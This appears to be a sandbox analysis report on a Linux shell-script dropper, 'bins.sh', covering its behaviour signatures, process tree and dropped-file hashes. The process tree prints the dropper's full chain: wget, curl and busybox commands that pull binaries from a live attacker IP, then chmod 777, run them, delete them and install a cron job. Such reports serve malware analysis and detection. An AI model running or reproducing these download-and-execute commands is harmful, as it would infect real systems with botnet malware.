Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/11/2024, 18:42

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241111-xcbmfstejj
  • SHA256 67193aa28c7c84a45ec76ef3ba36fca67c9a20da7a741cfb423f792d1153e455
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2054) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:638
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:640
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
          • Writes file to tmp directory
          PID:643
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:664
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
          • Writes file to tmp directory
          PID:670
        • /bin/chmod
          chmod 777 Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
          • File and Directory Permissions Modification
          PID:671
        • /tmp/Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          ./Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
          • Executes dropped EXE
          PID:672
        • /bin/rm
          rm Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
          2⤵
            PID:674
          • /usr/bin/wget
            wget http://216.126.231.240/bins/ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
            • Writes file to tmp directory
            PID:675
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:683
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
            • Writes file to tmp directory
            PID:696
          • /bin/chmod
            chmod 777 ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
            • File and Directory Permissions Modification
            PID:701
          • /tmp/ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            ./ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
            • Executes dropped EXE
            PID:703
          • /bin/rm
            rm ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
            2⤵
              PID:705
            • /usr/bin/wget
              wget http://216.126.231.240/bins/N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
              • Writes file to tmp directory
              PID:706
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:717
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
              • Writes file to tmp directory
              PID:729
            • /bin/chmod
              chmod 777 N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
              • File and Directory Permissions Modification
              PID:730
            • /tmp/N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              ./N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
              • Executes dropped EXE
              PID:731
            • /bin/rm
              rm N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
              2⤵
                PID:733
              • /usr/bin/wget
                wget http://216.126.231.240/bins/qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                2⤵
                • Writes file to tmp directory
                PID:735
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:747
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                2⤵
                • Writes file to tmp directory
                PID:760
              • /bin/chmod
                chmod 777 qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                2⤵
                • File and Directory Permissions Modification
                PID:766
              • /tmp/qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                ./qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:768
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:770
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:771
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:772
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:773
                    • /bin/rm
                      rm qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                      2⤵
                        PID:775
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/PlytACu2r0jQNRZP9L1XvZ9PC3M6FnutZN
                        2⤵
                          PID:778

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
                            • Path /tmp/N7IwL3rwjNPffniZJykIIqV0cqgfPqDroA
                            • Size 98KB
                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
                            • Path /tmp/Yzx7i8ATCHQvB0Xj2tmoCYzbb5jXOBhKkB
                            • Size 107KB
                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
                            • Path /tmp/ke3cOM8fM3gSQJLi90fKCznGdY9CelfRG2
                            • Size 117KB
                            • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                            • Path /tmp/qt7ZEYvvIdATOf8rgRKAX685ktqHkr5bdl
                            • Size 177KB
                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            tmp.OfJB6a
                            • Path /var/spool/cron/crontabs/tmp.OfJB6a
                            • Size 210B
                            • SHA256 d9d057984130aabffd77aadccec8043fe70cba221245c30fa89e5d8ae41f5289
                            • MD5 SHA1 SHA512
                            Submit Download